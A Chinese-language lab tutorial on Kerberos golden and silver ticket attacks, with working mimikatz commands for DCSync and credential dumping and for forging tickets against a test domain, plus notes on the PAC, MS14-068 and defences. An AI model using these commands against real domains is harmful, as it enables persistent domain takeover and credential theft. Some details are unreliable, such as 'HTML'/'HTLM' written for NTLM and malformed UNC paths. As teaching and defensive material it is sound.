票據(jù)傳遞
什么是票據(jù)傳遞
票據(jù)傳遞是基于kerberos認(rèn)證的一種攻擊方式,常用來做后滲透權(quán)限維持。
黃金票據(jù)攻擊利用的前提是得到了域內(nèi)krbtgt用戶的NTLM哈?;駻ES-256的值。
白銀票據(jù)攻擊利用的前提是得到了域內(nèi)服務(wù)賬號(hào)的HTML哈希或AES-256的值。
其實(shí)黃金票據(jù)與白銀票據(jù)本質(zhì)是趨近的,區(qū)別是取決于加密票據(jù)的是krbtgt的hash還是其他服務(wù)的hash。黃金票據(jù)說白了就是知道了krbtgt的hash后可以偽造一張ticket,這個(gè)ticket可以訪問krbtgt/domain_name服務(wù)。白銀票據(jù)是得到了某個(gè)服務(wù)的hash,然后偽造一個(gè)ticket這個(gè)ticket有權(quán)限訪問那個(gè)服務(wù)。其實(shí)krbtgt就是KDC服務(wù)。
黃金票據(jù)偽造了TGT后,會(huì)擁有一個(gè)偽造后高權(quán)限的TGT,還會(huì)有一個(gè)SESSION key,這樣子才能進(jìn)行后續(xù)的kerberos認(rèn)證,只有TGT沒有session key是無法進(jìn)行后續(xù)認(rèn)證。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域機(jī)器: WINis10@192.168.228.40 本地管理員:aspnet
黃金票據(jù)(Golden Ticket)
TGT由krbtgt用戶Hash加密,如果擁有krbtgt用戶Hash就可以制作TGT,從而得到ST服務(wù)票據(jù),進(jìn)而訪問域控。
要?jiǎng)?chuàng)建黃金票據(jù),需要以下信息:
1.域名
2.域的SID值(域成員SID值去掉最后的)
3.krbtgt賬號(hào)的哈希值或AES-256值
在域控上用mimikatz執(zhí)行:
privilege::debug
lsadump::dcsync /domain:hiro.com /user:krbtgt

mimikatz進(jìn)行攻擊:
kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt
在mimikatz上輸入kerberos::list查看該票據(jù),或者在機(jī)器上cmd窗口輸入klist(cmd需要以管理員權(quán)限運(yùn)行)也能查到該票據(jù)


驗(yàn)證是否成功:
ps:target需要指向FQDN
在Client端通過Psexec.exe與域控進(jìn)行連接

或者直接建立ipc$連接
net use \WIN-KONG.hiro.com\c$

黃金票據(jù)(Golden Ticket)防御:
使用黃金票據(jù)能夠在一個(gè)域環(huán)境中長時(shí)間控制整個(gè)域,并且日志無法溯源。需要經(jīng)常更新krbtgt的密碼,才能夠使得原有的票據(jù)失效。最根本的辦法是不允許域管賬戶登錄其他服務(wù)器。
白銀票據(jù)(Silver Ticket)
ticket中的enc-part是由服務(wù)Hash加密的,如果有了服務(wù)Hash,就可以簽發(fā)任意用戶的ST票據(jù),不需要跟域控打交道,但是只能訪問特定服務(wù)。(偽造的白銀票據(jù)沒有帶有效KDC簽名的PAC,如果目標(biāo)驗(yàn)證了KDC的PAC簽名,那么白銀票據(jù)就不起作用了)
PAC
PAC在AS-REP放在TGT里加密發(fā)送給Client,PAC 中包含的是用戶的 SID、用戶所在的組等一些信息。當(dāng)Client需要訪問Server所提供的某項(xiàng)服務(wù)時(shí), Server為了判斷用戶是否具有合法的權(quán)限需要將Client的SID、用戶所在的組等信息傳遞給KDC, KDC通過SID判斷用戶的用戶組信息,用戶權(quán)限等,進(jìn)而將結(jié)果返回給Server,Server再將此信息與用戶所索取的資源的ACL進(jìn)行比較, 最后決定是否給用戶提供相應(yīng)的服務(wù)。
有些服務(wù)并沒有驗(yàn)證PAC,這就是白銀票據(jù)能成功的原因。如果驗(yàn)證了PAC的話,就算攻擊者擁有服務(wù)Hash,制作了ST票據(jù),也不能制作PAC(PAC由兩個(gè)數(shù)字簽名構(gòu)成,而這兩個(gè)數(shù)字簽名分別由Server NTLM Hash和KDC NTLM Hash加密),并且只有KDC才能制作和查看PAC。
也恰恰是是這個(gè) PAC,造成了 MS14-068 這個(gè)漏洞。該漏洞是位于 kdcsvc.dll 域控制器的密鑰分發(fā)中心(KDC)服務(wù)中的 Windows 漏洞,它允許經(jīng)過身份驗(yàn)證的用戶在其獲得的票證 TGT 中插入任意的 PAC 。普通用戶可以通過呈現(xiàn)具有改變了 PAC 的 TGT 來偽造票據(jù)獲得管理員權(quán)限。
要?jiǎng)?chuàng)建白銀票據(jù),需要以下信息:
1.域名
2.域的SID值
3.目標(biāo)服務(wù)的FQDN
4.服務(wù)賬號(hào)的HTLM哈希
利用白銀票據(jù)偽造CIFS服務(wù)權(quán)限
CIFS服務(wù)常用于Windows主機(jī)之間的文件共享
1.在域控使用mimikatz獲得域控的NTLM哈希
privilege::Debug
sekurlsa::logonpasswords

2.進(jìn)行白銀票據(jù)攻擊
kerberos::golden /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /target:WIN-KONG.hiro.com /service:cifs /rc4:39107db5b42b1cfb9f3f38520bb4c0f3
/user:administrator /ptt

在mimikatz上輸入kerberos::list查看該票據(jù)
在機(jī)器上cmd窗口輸入klist也能查到該票據(jù)

驗(yàn)證是否成功:
net use \WIN-KONG.hiro.com\c$

白銀票據(jù)(Silver Tickets)防御
盡量防止服務(wù)Hash不被竊取,并且開啟PAC簽名(PAC主要是規(guī)定服務(wù)器將票據(jù)發(fā)送給kerberos服務(wù),由kerberos服務(wù)驗(yàn)證票據(jù)是否有效。)
但是如果開啟PAC認(rèn)證,會(huì)降低認(rèn)證效率,增加DC的負(fù)擔(dān),最根本的還是要加固服務(wù)器本身對(duì)外的服務(wù)。
黃金和白銀票據(jù)的區(qū)別
1、訪問權(quán)限不同
Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務(wù)權(quán)限
Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務(wù)權(quán)限
2、加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服務(wù)賬戶hash加密
3、認(rèn)證流程不同
Golden Ticket在使用的過程需要同域控通信
Silver Ticket在使用的過程不需要同域控通信,所以相對(duì)來說更加隱蔽。

浙公網(wǎng)安備 33010602011771號(hào)